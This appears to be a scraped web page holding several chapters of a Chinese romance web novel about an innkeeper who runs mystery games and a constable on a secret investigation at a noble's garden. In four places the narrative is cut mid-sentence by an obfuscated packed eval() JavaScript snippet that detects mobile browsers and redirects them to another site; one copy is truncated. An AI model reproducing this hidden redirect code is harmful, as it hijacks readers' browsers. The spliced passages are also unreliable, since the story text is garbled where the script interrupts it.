黎映真就这么看着李弦眨眼的工夫吃完了一整碗鲤鱼烩面,见他又拿出那块手巾擦嘴,她道:“给我。” 手巾还贴着嘴角,李弦疑惑地看着她。 拿出自己的手巾,黎映真递过去,道:“脏了,洗干净了给你。” 有人嘴角翘得比天高,老老实实擦了嘴,叠好了手巾,才跟黎映真交换。 拿着干净的那块,他又宝贝似的多看了两眼才收进袖袋里。 “那个,当时确实消息来得急,看你睡着,总不好吵醒你,所以才让阿桃帮我递了话。她跟你说了吧?”李弦这会儿才紧张起来。 往日也是少见这人无措的模样,黎映真觉得好玩便故意没搭话,坐着不吭声。 周围很吵,可有李弦专注的目光落在身上,又好像很安静。 多坐了会儿,黎映真才佯装回了神,道:“啊……啊,说了。” 攥着手巾站起身,她又问道:“不是赶着回衙门?” “对。”李弦起身,道,“手头事多,黎掌柜给我留间房。” “知道了。” 得了回应,他那双眼睛笑得弯起,转身却又如风,大步流星地离开了客栈。 黎映真回到柜台,只见台上多了一只长盒子,盒子旁还放了一枚碎银。 盒子里是一支镶玉的簪子,玉石不大,但看着莹润光泽,该是料子不错。 至于那碎银子,正是李弦今日的饭钱和未来几日的住宿费了。 “稀罕。” 黎映真才收起东西,遂见吴二跑了来,说是有贵客。 一个身着锦缎长衫的年轻公子出现在客栈内,眉宇间自有骄矜之气,身后跟着的随从打扮的人亦是穿得体讲究,眼神锐利。 那公子看似闲适,但视线总在客栈内打量。 黎映真上前迎道:“公子楼上雅间坐吧。” 年轻公子颔首,跟着黎映真往二楼去时,悠悠开口道:“听闻贵店的话本杀颇为有趣,连靖安侯府的小公子前日来玩过,都赞不绝口。” 客栈如今确实也招待过一些看来富贵的客人,但真要说来过王侯勋贵,黎映真却是不知的。 这会儿听年轻公子夸奖,她面上不动声色,含笑应道:“公子谬赞,不过是些市井玩意儿,承蒙贵人们不嫌弃。” “掌柜的过谦了。”年轻公子笑了笑,“客栈迎客,掌柜的最该清楚如今成安县不比过去。自这客来居出来的好玩的,外头不少效仿,但属你这儿最实至名归。名声一旦出去了,人来得多,出入成安县的平安也就比过去更重要了。” “县令管辖有方,才有县里繁荣,我这儿只是做做普通生意罢了。”黎映真道。 说着话,她将年轻公子引入雅间,又亲自招待了酒菜,听那年轻公子道:“我初来乍到,还想在成安县多留几日游玩,有劳掌柜的开间房吧。” 黎映真映下,便先退了出去。 按说这客人所言,黎映真也是有些感受的,但她原先并没有太在意,只当是有利民政策下来,促进了附近一带的发展,毕竟成安县临近京城,也算占了些地利。 可看那年轻公子的样子,又总有让她以为不对劲的地方,他似是来探听什么的,但她一个普普通通的百姓,又能知道什么呢? 从二楼下来,黎映真叫来阿桃去后厨准备相应的酒菜,正要回柜台时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069914|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线无意扫过大门,见老梁站在外头朝客栈里头探看。 她正欲打招呼,老梁却转头走了,脚步看来匆忙。 奇怪的客人和行迹古怪的老梁,黎映真觉得或许真有暗流涌向了成安县,只是不知这事儿跟李弦有没有关系。 这样带着疑问直到夜里打烊,客栈的门依旧开着。 李弦回来时,只见门口倚着个人,身上披着毯子,虽抬头望着天边的月亮,那被身畔烛光照出的那双眼思绪沉沉,并非是在赏月。 黎映真只依稀觉察到夜色里有人过来,不等她看清,一道黑影就到了跟前,手腕被抓住,整个人顺着牵引的力道回了客栈里头。 耳边传来关门声,并着李弦的责备:“夜里这么冷,你怎么还在外头吹风。” 他倒是自觉,关了门就去落门板,轻车熟路的,就像习惯了一样。 黎映真听着他忙活的声音,裹着毯子去倒热水,道:“我有毯子就够了呗。” 动作一滞,这阴阳怪气的口吻瞬间让李弦回过味来。 眼底笑意浓得化不开,他再下门板时,手脚更显麻利。 没一会儿的工夫就下完了门板,他转身,只见黎映真正坐着喝水,她的身边还有一杯正腾着热气。 “有事儿?”热水入喉,浑身都暖了起来,李弦比刚回来那会儿又活络了些。 黎映真盯着李弦,试探问道:“我白日里看见老梁在客栈外头鬼鬼祟祟的。” “啊?还有这事儿?”李弦又给自己添了些热水,“你看错了吧。” 他这一看就是想要掩饰的模样,让黎映真切了一声,道:“演技太拙劣了,李捕快。” 想这人的性子,若真是不想让她知道,一定能遮掩好,这会儿故意露了破绽出来,必定有要嘱咐她的事。 黎映真坐正了些,道:“说吧。” 李弦拿着杯子,指尖在杯壁上轻轻点着,显然在琢磨事。 黎映真不催,看着台上烧着的烛火,静静等着。 “今日入住客栈的那位公子,你只当寻常客人招待,即使发现奇怪之处,也只当没看见。” “什么来头?” “京城来的,其他不能再说了。” “你今天回来,是为了他?老梁是帮你来盯人的?” 大堂里静得很,门窗紧闭着,一丝风都透不进来,台上那烛火也就安安静静地烧着。 烛腊一点点流下来,越积越厚。 黎映真站起身,听见李弦问道:“你生气了?” “生什么气?”她低头看着长凳上坐着的李弦,看他紧跟着也站了起来,又高又挺拔的身影在她跟前笼下一片阴影,她笑道,“我那么小气吗?” “嗯。”李弦朝她身上裹着的毯子挑了挑眉,那眼神就像在说“这还不小气”。 黎映真故意裹紧了毯子,抬头看他道:“夜里说话做事小声儿点,否则吵着我其他客人,天王老子来了,我都给你踢出去。” 李弦能有所示意已是循了私,她没法继续逼问,只相信这人不会害自己。 至于他究竟要做什么,公家的事不是她一个平民百姓能管的,确实只能像他说的那样,当做没看见、不知道。 39. 第 39 章 和李弦有过那次简短的谈话后,黎映真总觉得成安县的天仿佛比她刚来时还要阴沉。 李弦一连在客栈住了好几日,她不知他跟那个年轻公子究竟有多少关联,只是因为心里揣着事,这日子过得总是一阵阵地发闷。 这日午后,一辆马车停在客来居门外,黎映真认得,那是十一娘的车。 但这次来的并非十一娘,而是当初跟在她身边的随从。 看着随从递来的帖子,黎映真没有立即去接,试探着问道:“东家这是?” “黎掌柜看着请帖,我再与你说。”随从将帖子往黎映真跟前递近了一些。 硬着头皮接了帖子打开,她才知是十一娘要在十日后于城郊的锦瑟园办一场私宴。 “小姐以为赏花、品茶、投壶那些都太俗气了,所以想请黎掌柜帮忙,出个话本杀的本子来,最好也是要跟客栈如今有的那些区别开来。所谓物以稀为贵。”随从道。 十天里既要出本子,又要定制配套的菜品,加之十一娘邀请之人必定非富即贵,这其中有一丝不足,便可能引来挑剔不满,她未必能担得起这个责任。 可十一娘的要求,她真的可以拒绝吗? 随从看出她的犹豫,安抚道:“黎掌柜不必担心,该给与的帮助,只要你吩咐,我们都会竭尽全力。” 她又取出一份文卷,递给黎映真,道:“这里头是出席宾客的习惯、喜好、忌口等,黎掌柜可做参考。另,这几日我会暂住在客栈,以便黎掌柜有需要随时解答。” 十一娘这是根本没有给她拒绝的机会,黎映真只能暗叹到底钱难赚。 掩去嘴角苦笑,她正式收了帖子,点头道:“东家信任,我一定尽力。这些日子,也要多麻烦姑娘了。” 时间紧迫,黎映真不能分心,于是她将客栈的生意暂且交给阿桃和吴二打理,自己先连夜出了一个话本的框架,第二日就去找随从商量。 于是白日里,黎映真和随从一起商量话本的大致剧情,必要时还找来孙伯跟随从带来的后厨师父一块儿制定配套的菜色。 夜间,她独自一人润色精修,真真是表面忙碌,内里紧绷的状态。 眼前端上一碗热腾腾的面,黎映真抬头,果真见到了李弦。 这几天夜里,都是她在大堂专心推敲剧情,李弦或早或晚地回来,有时走正门,有时直接从后院过来,两人不见得多说什么,但她做事,他就陪着。 “我还真饿了。”收起还没改完的话本,黎映真捧过面碗便大快朵颐起来。 李弦看她吃得匆忙,再瞟了一眼她手边的纸笔,问道:“十天的时间,当真来得及吗?这几日一顿饭都没好好吃吧。” “赶一赶,有可能。”嘴里的面还没咽下,她说话含含糊糊的,说完又赶紧吃,生怕耽误了时间。 一会儿的工夫,看黎映真吃完了面,李弦拿走空碗,听见黎映真问他:“你的事呢?还顺利吗?” “自己都火烧眉毛了,还能记得我?”眨眼间,他又见黎映真伏案开始改话本。 想是黎映真没听见他的话,否则不会不回上几句过嘴瘾。 看着她咬起了笔杆子,皱眉深思的样子,李弦看了看手里的空碗,拿去后院放下了,再回来大堂里继续做她的改剧话本搭子。 搭子这个词,他从黎映真那儿听来的。 烛台上的烛腊堆到半指高时,黎映真终于改完了今天的最后一点儿剧情。 放下笔,伸个懒腰,忍不住哼唧了几声,她才发现李弦居然趴在桌上睡着了。 大堂里毕竟冷,她原想叫醒他回屋里睡,可看着这人熟睡的样子,她忽然有了个想法,重新拿笔舔了墨,慢慢靠近那张安然的睡颜。 原本闭着的双眼忽然睁开,吓得黎映真连人带笔震在原处。 那双圆润的眼睛忘了眨,直直看着他,心虚之外还透着股狡黠机灵。 李弦没动,就着趴睡的姿势回看着黎映真,烛光暗淡,可她的眼睛亮得很,眸里映着烛火,也是暖暖的,温柔极了。 终于是黎映真先回了神,知错却一副想要逃的样子,匆忙收拾着笔墨。 “跟你商量件事。”李弦依然趴着。 黎映真手里没停,故作镇定道:“什么事?” 按住她的手,李弦见她重新将目光落在自己身上,他便凑近了一些,道:“去锦瑟园能不能带上我?” “你去做什么?” “自然有我的事。” 说话间,黎映真忽被李弦拉起手,不待她反应,掌心已被塞了一把匕首。 “这……”失声时恰见李弦做了个噤声的手势,她立即将匕首藏进衣袖里,压低了声音追问道,“你给我这个做什么?” “锦瑟园里有我要找的人,但去了那儿我不一定能顾得上你,这匕首给你防身。” 他眸光沉沉,自有十二万分的认真,看得黎映真心头发颤,不由抓住他,又上前一步,抬头看着他,道:“你先保证不会让自己出事。” 她亦不知自己急切的样子都被李弦看了去,只见他在这种时候还笑得出来,更是触动她的情绪,低声催促道:“你保证!” 说话时,手上不自觉地加重了力道,抓得紧,又要他明确地知道,便下意识摇了摇他的手臂。 “好,我保证。” “骗人。” “那我说不行?” 平日玩笑时见他这副吊儿郎当的样子也就算了,这会儿连匕首都拿出来了,代表锦瑟园之行的安危不定,他却还是这样漫不经心,直教黎映真看得恼火,不觉颊上已是气红了一片。 黎映真逼得急,不知不觉里已快要贴着李弦。 这人的气息扑在脸上,温温热热的,跟他落在自己身上的目光一样总是带着暖意,即便她这会儿不晓得为什么突然这样焦虑急切,也一点儿不讨厌他这样看着自己。 “搭档!热度!热度值直线飙升!快到100了!” 系统毫无征兆地出现,将险些沉溺在李弦注视中的黎映真拉了回来。 想起上次忽然涌入自己脑海中的代码流,她正想向系统提问,但一阵极其微弱的杂音在她开口前闪过,夹杂着几个断断续续的词语: “能量储备” “低于临界” “效能……评估……” 信息依旧破碎,但黎映真敏锐地感觉到这几个词与她之前捕捉到的代码碎片隐隐对应。 这次不止头又开始痛,就连心脏跳得也比厉害,胸闷得她已开始有种窒息感。 感觉到身子被托了一把,黎映真顺势靠了靠,道:“我没事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076438|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这还没事?”李弦扶她坐下,“应该是这段时间累着了,你如果真不舒服,我这就给你去找大夫。” 黎映真仍拉着他,道:“你陪我坐一会儿,我真没事。” 两人在一块儿坐着,从先前各坐各的,到这会儿坐在了一张长凳上。 黎映真还想着系统和代码流的事,未曾察觉身旁的李弦没有一刻从自己身上挪开视线。 而她也在毫无意识下逐渐收拢了手,回过神时,才发现是将李弦给自己的那把匕首握得紧紧的。 袖中的指腹摩挲着匕首的皮壳,这种真实的触感将黎映真的思绪重新拉回到锦瑟园之行上。 “李弦。” “诶。” 身边人应了一声,身子一转,动静不小,惊得她转头去看,又见李弦专注温柔的目光。 这会儿换她轻轻抚摸起那把匕首,与他道:“带你去锦瑟园自然没问题,不过还是那句话,你要先保证自己的安全。” “答应你的事,我有没办到的?” “茉城那趟那就设计我来着。” “那我再给你道歉,或者你要怎样才满意?”他抱臂,身子微微弓起,顺带歪了脑袋,有意放低了视线,平视黎映真。 又像是在逗他。 她早不生气了,不过想拿话堵他,没想他就地认错,倒是让她不好意思了。 转过视线,黎映真咕哝道:“我想想吧。” 李弦伸手,勾起尾指。 她嫌弃道:“幼稚,良生都不玩拉钩了。” 长凳因她突然起身,失了一边的重量而翘起。 “哎。”李弦眼疾手快,一手按着桌面保持平衡,这才没摔下去。 黎映真见状发笑,道:“时候不早了,该回房睡觉了。” 今夜虽是玩闹收尾,可留了那把匕首在身边,黎映真便不能忽略去了锦瑟园后可能遇到的危险,也根本不能忽略李弦那时的安危。 心事重重地继续准备着话本杀的相关事宜,黎映真总算在赴会前都准备妥当,并且带着自己的心腹帮手们,提前一日前往锦瑟园。 园子坐落在城郊依山傍水之处,若非有十一娘相邀,黎映真可不敢想自己能进这朱漆大门之内,看到这飞檐斗拱、曲径通幽的景象。 为配合话本剧情,临水敞轩及相关区域早就根据话本内的设置进行布置,黎映真让阿桃和吴二再检查一遍带来的道具,自己则跟着随从检查去轩内的布置,提前预演重要剧情的调度。 一切检查无误后,她才回去休息。 “掌柜的,孙伯被请去后厨,应该还要晚些时候才回来。”阿桃道。 “嗯,你们呢?东西都检查过了,没有问题吧?” “没有,你放心吧。”阿桃左右看了看,确定周围没人,才走近黎映真道,“但是李捕快才进来,人就不见了,不知去哪儿了。” 想起李弦进来另有目的,黎映真心底发沉,但面上仍装作若无其事道:“他头一会儿来这种地方,大概哪儿都看着新奇,出去溜达了。” “可是我看着而守卫挺森严的,他万一……” “他有分寸,不至于连累我们。” 黎映真不知阿桃信不信自己这说辞,她自己还是说服不了自己,起身道:“难得的机会,我也出去看看。” 40. 第 40 章 说是出去看看,黎映真却是因为担心才去找李弦的。 锦瑟园内护卫林立,她唯恐李弦查探情况一时忘我,万一被发现可就麻烦了。 越想越是不安,她的脚步不由加快,一面沿着蜿蜒的碎石小径走,一面四处张望,试图尽快发现李弦的身影。 右肩后头忽然被拍了一下。 她惊得一声“啊”还没来得及叫出声,耳边已传来了熟悉的声音。 “是我。” 不是李弦又是谁。 他不知从那个角落钻出来的,身上带着股奇奇怪怪的木头的味道,脸上还是黎映真熟悉的戏谑神情,像是有意吓她,看笑话来的。 黎映真一掌拍在李弦臂上,又惊又气道:“要死啊你!” 虽是咬牙切齿,却也压低着声音,怕被人发现他们的鬼祟行为。 李弦不避,由她打,嘴角翘得更高,凑近过去,神秘道:“走,带你看个宝贝。” “不去。”还在气头上,她才不要跟这人多纠缠。 可那人抓了一把,隔着衣袖扣住她的手腕子,只稍稍一带,她这双腿就听使唤地跟着走了。 跟着李弦绕过几丛茂密翠竹,再穿过一道月亮门,黎映真进了一处小院儿。 比起她住的那个院落,这儿看来灰扑扑的,地面也有尘土和没有被清扫的落叶,显然没什么人过来。 而院中有一座三层阁楼。 手还被李弦拉着。 他没说话,她也没问,还是那样安静跟在他身后,一路上了三楼。 阁楼里头没什么摆设陈列,也不像院子里有明显的积灰,但也不是常有人出入的样子。 “这是什么地方?”黎映真打量着周围陌生的环境,踩着木质楼梯往上,终于忍不住心中的好奇问道。 “锦瑟园太大,这里不过是日常不怎么来人的一个僻静院子。” “你带我来这儿做什……” 三楼实则一个三面围了栏杆的半开放小露台,此时正值日落时分,满天的霞光正从栏外倾泻进来,橙红、金粉、紫霰各色在天边各自瑰丽绚烂,到了露台又都融成了耀眼温暖的金色。 黎映真还踩在楼梯上,却伸长了脖子朝外头望。 李弦被她这别扭的姿势逗得发笑,问道:“看就看,怎么做贼似的?” 见他要往栏杆边去,她立即拉住,道:“这儿高,下头如果有人经过一抬头就看见了。十一娘身份不低,咱们要是被抓了,绝对讨不了好,况且你还是跟着我混进来的,我罪名更大。这会儿,不就是做贼吗。” “那你是准备就这么看?”李弦摸了摸鼻子,压着嘴角的笑意,“也太暴殄天物了。” 延伸向外的部分确实视野开阔,本该是最佳赏景处,可她必须考虑两个人的安全,纵是眼前美景惹人,也只能辜负几分了。 好在两边砌着墙,上头开有小窗,黎映真躲去窗下,略开了几分窗户,偷偷摸摸地探出半个脑袋往窗外瞧。 这样的视野虽受限,却也能将半个锦瑟园内的景致收入眼底,她不由感慨这精巧布局,斗角飞檐的精妙,还有镀了夕阳温余晖的亭台山水,真是一幅令人赞叹的绝美画卷。 “真美啊。” 感叹之余,察觉身边有一阵暖意靠近,黎映真转头,只见李弦学着自己的样子,巴着窗户,探头探脑地欣赏着外头的景色。 她方才听见了李弦的笑声,此刻看着他这副鬼鬼祟祟的模样,忽地就明白了那声音的由来。 看着确实滑稽也好笑,可一想到有人不但送了自己这样的“宝贝”,还对自己有样学样,这样顺着自己,心头真真暖意涌来,倒是有些不敢看他了。 默默收回视线,想跟李弦一起再看会儿夕阳,她却忽然听他道:“你先回去,路上小心。” 她忙去拉,但李弦身手快,她只拉住了衣角,亟亟叮嘱道:“你也当心。” 视线落在她拽紧了的那只手上,李弦点头,脸上早已没了先前的闲适,只留眉宇间的凝重之色。 说罢,那人直接从一边的栏杆翻身跳下阁楼。 看着李弦消失的方向,黎映真心间沉重,她不敢在此久留,立即离开了这里。 好在一路上没有遇见其他人,可就这样跟李弦分开,一直到夜深,她都没有等到那人回来。 寂夜本就难熬,何况黎映真还心事重重不得纾解,她拿着李弦给她防身的匕首翻来覆去地看,没一会儿就要朝打开的窗户看一看,却总等不到自己想要的结果。 台上的第一盏灯即将燃尽,她干脆换了灯,再拿来纸笔,想着不如梳理一下明日的流程,权当等李弦回来时解闷了。 可笔尖在纸上走着,没动几笔就要停一停,纸上笔迹乱七八糟,都是她心神不宁的证明。 灯火继续烧着沉寂夜色,也烧着黎映真心底那一团乱麻。 终于,灯烛熬穿漫漫长夜,陪着不知不觉趴在桌上入了睡的黎映真。 醒来时,她发现身上披着一件厚罩衫。 知是李弦来过,她蹭地站起身,动静大得撞了桌子,搁在砚台上的笔都滚落到桌面上,拖下墨迹一直蔓延到她手边的纸上,把那几个故意写得七歪八扭的李弦的名字都多多少少遮住了一些。 倒是没弄坏她在名字旁边画的那个猪头图案。 才拿起被弄脏了的纸,黎映真这才发现窗口有人影。 只这模糊一眼,她就认定了那是李弦,慌忙将手里的纸团成团,藏去身后。 “写的什么?不给我瞧瞧?”真是李弦的声音,只是比起平日有些哑,想是一整晚没好好睡过的缘故。 那把匕首昨晚被她按在手边睡,这会儿正放在桌上。 黎映真一手握着纸团还藏在身后,一手拿过匕首掩在袖管里,走去窗口看着,借着晨光去看李弦。 他眼底血丝明显,眼下也是浅浅的乌青色,疲惫之态,一目了然。 靠上窗台,黎映真关心道:“事情还顺利吗?” “不算顺利,否则我能早些回来。”他在窗台上坐着,一条手臂搭在曲起的膝上,见黎映真渐渐紧张的神情,他却是一副慢条斯理的样子,“不过总算暂时稳住了,否则怎么回来见你。” 看他视线往桌上落,黎映真收紧了握着纸团的手,猜他回来不光给自己披了罩衫,也一定看到她用他的名字涂鸦还画了猪头。 察觉眼前的身影一动,黎映真主动退开,看着李弦翻窗进来,她又道:“你一晚上没睡,先去歇会儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079744|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天都亮了,我还要跟着你去见市面呢。”李弦道,“你这儿我收拾,你先去洗漱,再等等就该来人了。” 李弦伸手过来,掌心向上,恰有窗外的晨光照进来,落在他手心,像是挶了这抹晨曦送给她的。 黎映真狐疑问道:“做什么?” “写坏了的东西还留着?我一块儿收拾了。” 听来十分随意的一句话,也确实是顺手的事,但看着他嘴角那不同寻常的弧度和漫在眼底的笑意,黎映真道他必然心口不一,又憋着坏水。 她只将罩衫脱下搭去李弦壁上,冲他盈盈一笑,转身便走了。 待梳洗完毕,又用过早膳,果真有侍从前来请她。 她跟着去了临雨轩,见到了十一娘。 十一娘说的无外乎那些场面话,黎映真一一应下,随后便和阿桃他们去做最后的布置。 黎映真不用出面招呼宾客,遂先在帘后等待。 临近开宴的时间,宾客们陆续到场,个个锦衣华服,气度不凡,当真是环佩叮当,衣香鬓影。 来客有男有女,都是与十一娘相仿的年纪,其中有一两个,黎映真甚至颇有印象,先前去过客来居,玩过话本杀的。 她知道客栈招待过贵客,却不知能是这样的贵气,他们今日这行头比之微服可要金贵雍容得多。 十一娘再出现在众人面前时,已换了一身紫蒲色常服,雍容华贵,由随从簇拥着翩然而至。 宾客们有唤她“十一”的,也有叫“汝宁”的,都是谈笑风生,看来关系亲密。 众人说笑一阵,十一娘道:“凑齐你们不容易,还是要找些乐子。” 她示意之下,随从到帘前请黎映真出去。 虽是做足了心理准备,可真当要一下子面对满堂高门贵胄,黎映真少不得紧张。 长长吐了口气,再摸了摸袖袋里那把匕首,挑帘前,她还是不由回头。 幸好李弦在,他也正看着自己。 这一刻目光交汇,她安心多了。 由随从引着到众人面前,黎映真向宾主行礼,听十一娘道:“今日劳烦黎掌柜了,我与诸位好友,甚是期待你这‘锦瑟迷局’呢。” “民女定当尽力,不让东家与诸位贵客失望。”黎映真躬身回道,姿态不卑不亢。 话本杀由此开始。 故事围绕一尊失窃的“前朝玉马”展开,黎映真作为“锦瑟园管家”,引导着宾主一行人按照话本的设置进入剧情。 黎映真眼观六路,小心谨慎,一面将隐藏在奉上的茶点、殿内布置、附近园林甚至是宾客们手边所用的器具内的线索慢慢展露,一面注意宾客们的思路,好在发现他们偏离主线时捕捉痕迹地拉回来,以便顺利推进剧情。 宾客们沉浸其中,有“纨绔子弟”咋咋呼呼,也有“精明账房”隐藏城府,场面不可谓不热烈,但黎映真却隐隐觉得不对劲。 一直用来和系统联系的那片混沌空间似乎突然和自己链接上了,但也许是锚点不稳定,那种感觉断断续续,她勉强还能保持理智清醒。 但不适感依然存在,而她也发现,就在她需要引导宾客更换场景到隔壁“藏宝阁”寻找关键证据时,方才那始终守在帘后的李弦,不见了。 41. 第 41 章 那帘子安静地垂着,黎映真的心却像是被一只无形的手攥着,而她又不敢再多往那里看一眼。 压制着内心的担忧和顾虑,她维持住表面的镇定,继续引导宾客们转移。 经过一座临水小桥时,系统音突然出现—— 【开启临时功能:剧透。】 “搭档,目前直播间热度值持续攀升,抓紧机会!” 【根据测算,东南方向,能量特征异常,前往有大幅提高热度值可能。】 东南方向正是她昨日跟李弦一起看日落的园子所在,李弦也是在那里发现了什么才失踪一整个晚上的。 黎映真不敢确定他此时不见是否也和那个园子有关,但面对系统又擅作主张开启临时功能,她暗暗做下一个决定。 将视线从东南方收回,她继续集中精力应对身边的权贵去往预先设定好的藏宝阁内。 “搭档,根据新功能提示做,能让直播间获得更多热度值。” “临时功能时间有限!搭档,一定要把握机会!” “搭档!搭档!” 系统不断干扰,试图强迫黎映真遵循提示,引导宾客往东南去。 越来越急促的语调和尖锐的音调充斥在她脑海中,一声声重叠,摧毁着她按部就班完成话本杀的意志。 抵抗系统侵扰还是花费了黎映真不少精力,进入藏宝阁后她原本还在推进剧情。 当调整一处机关时,因为对抗产生的影响,她的手几不可查地颤抖了一下。 那里放置线索的位置偏了。 十一娘上前问道:“黎掌柜,怎么了?” 她索性直接整个手掌按上去,在其他宾客们注意到之前,借着身子靠过去的动作不着痕迹地将其复位。 同时故意皱着眉,收回手时按向自己心口,再向十一娘致歉道:“昨晚没睡好,这会儿有些心慌,我缓一缓就好,请东家恕罪。” “无妨。”十一娘面带关心,却未有动作,“这样,你暂且歇一歇,我们在藏宝阁里转转?” “好,多谢东家体谅。” 于是黎映真且去一旁休息。 她才坐下,系统即刻蹦了出来:“搭档,临时功能宝贵,你不能浪费。” “浪费了会怎样?” “……” 又是这样的沉默。 那必然就是她问到关键地方了—— 系统看似在乎临时功能,但开启功能的原因是想要提升热度值,所以它最关心的还是热度值。 而每一次系统都在它认为关键的时候开启临时功能,而这种时候通常是得到过高热度值之后。 那么她可以不可以认为,开启临时功能需要支付热度值,这次系统之所以这么生气,不惜搅乱她的计划,是因为它最在乎的热度值被浪费了? “黎掌柜?”十一娘身边的随从过来询问道,“黎掌柜感觉如何?还可以继续吗?” 脑海中的杂音已经消失,不适感也减轻了不少,她起身道:“可以了。” 系统不知是不是被她气着了,暂时没有捣乱。 黎映真抓紧时间,回到方才的机关处,继续引导众人推进剧情。 当有人在她的引导下解开方才那个机关后,扮作纨绔的那位侯府公子抚掌笑道:“黎掌柜这机关设得妙,骗了多少人的眼睛。” “公子过奖,不过是些取巧的小把戏。”黎映真颔首,勉强笑道。 目光偷偷朝人群外看去,她总盼着那突然消失的身影能出现在自己的视线里,那样她至少能安心些。 可天不遂人愿,李弦没有出现,甚至连一点出现的迹象都没有透露给她。 脑子里都是那把他给的匕首,她一点都不希望真有用上的时候。 为了不让十一娘察觉到异常,接下去的时间里,黎映真只能不断强迫自己专心推进剧情,有关李弦、有关系统的问题都要暂且跑去脑后。 “啪嗒”一声响起。 十一娘从一个伪装成书架的暗格中取出一卷看似是账本的东西。 她翻开才知那不过是个伪装成账本的盒子,而盒子里放着一团绢帛。 “这是?” 两根纤细葱白的手指夹着绢帛的一头轻轻提起,十一娘笑看着整注视着自己的在场宾客,最后才看向黎映真。 有人耐不住十一娘这样卖关子,上前夺下绢帛一看,惊呼道:“证据!是关键证据!” 他将绢帛上的文字通读一遍,又联系了先前已掌握的证据,当场抓出了凶手。 这一场话本杀进行有将近一个时辰,终于行至终点,宾客们皆是鼓掌称好。 “十一,这是你从哪儿挖到黎掌柜这样的宝贝?” “确实是费了我好些工夫才请到的人才,你是羡慕,还是嫉妒?” “你将黎掌柜借我,我便羡慕,你若只揣在怀里,那就是嫉妒。” 黎映真无暇多想十一娘与宾客们的谈笑风生里究竟是将她视作人还是物,只依旧担心着李弦的情况,不由自主地摸上了袖袋。 余下的时间不需黎映真在场,她惴惴不安地往住出去。 一味低着头没看路,不妨撞了人,但只瞧见那鞋尖,她已知道是谁。 拉着李弦快步往人少的角落去,确定了无人注意后,黎映真又推了他一把,瞪着他道:“你也没说要在我过话本的时候做事,吓死我了知不知道!” 李弦索性靠着墙,抱臂看着跟前气鼓鼓的这张脸,又垂下眼,像是知道自己有做错的地方。 “这么关心我?”掀眼再去瞧黎映真时,那人眼里写满了高兴,眼角都淌着浓浓的笑意。 只是这话问得,实在欠收拾。 黎映真抬脚又要踩他,他的脚已乖乖地凑了上来,一副认罚的样子。 只是那挂在嘴角眉梢的笑容还是让人看着生气。 这下某人鞋面没脏,心口实打实挨了一拳。 有点疼,但也只是一点点。 李弦捂着心口,配合地皱了皱眉,问道:“你几时读了兵法,会声东击西了。” 黎映真抱臂,侧身对着她,别过脸去,哼了一声。 “跟你说件事儿。” “不听。” “那我就不和你说,幸好有你帮我吸引视线,这趟我大有收获的事了。” 听他这样说,黎映真撇嘴,的确放心了,甚至有些高兴。 她横眼去看李弦,身子未动,闷声道:“反正我也没听见。” “咕噜咕噜。” 声音是从里黎映真肚子里传来的。 “走吧。”李弦走近她身边,“晨间起来了就一直忙活到现在,达官贵人们又有的吃又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083725|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的玩,辛苦咱们黎掌柜,一口热的都没吃上。” 这话听着暖心,黎映真却有意压着嘴角。 托了托袖袋里的匕首,她抬起下巴,哼道:“要你管。” “可是不敢管。”李弦有样学样,也是抱臂抬头,那下巴都快能翘到天上去了。 “烦人。”笑睨着李弦,黎映真扭头就跑开了,总像是害怕被他发现些什么似的。 锦瑟园之行有惊无险,但也因此一行,客来居的生意更上一层楼,而且多了不少高门子弟的订单,赞誉自然也是纷至沓来。 但黎映真还是沉试图寻找到那日没有思考完的那个问题的答案。 临时功能、热度值还有哪些代码流里出现的信息,这其中到底有什么关联。 就在这看似蒸蒸日上的日子里,又有一份十一娘发来的帖子被送到了黎映真手里。 这次并非私宴,而是一场规模更大的赏花夜宴,地点仍在锦瑟园。 李弦正在吃面,见黎映真又露愁色,他却打趣道:“你不是喜欢那园子?再去一次怎么还不乐意了?” 黎映真暼他一眼还不够,再“切”了他一声,便拿着帖子多看了几眼,长长叹了口气。 